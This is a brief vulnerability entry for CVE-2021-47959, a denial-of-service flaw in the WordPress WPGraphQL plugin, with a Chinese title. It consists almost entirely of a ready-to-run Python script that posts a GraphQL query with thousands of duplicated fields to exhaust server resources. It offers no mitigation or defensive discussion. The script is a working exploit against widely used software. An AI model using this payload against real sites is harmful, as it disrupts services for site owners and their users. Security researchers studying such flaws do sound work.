CVE-2021-47959 WordPress WPGraphQL插件拒绝服务漏洞

import requests # Target URL (Replace with actual target) target_url = "http://example.com/graphql" # Construct a payload with massive field duplication to trigger resource exhaustion # Repeating a simple field thousands of times within a query duplicated_fields = "id title content " * 5000 malicious_query = f""" {{ posts {{ nodes {{ {duplicated_fields} }} }} }} """ payload = { "query": malicious_query } try: print("Sending malicious payload...") response = requests.post(target_url, json=payload, timeout=10) print(f"Response Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Attack successful or request failed: {e}")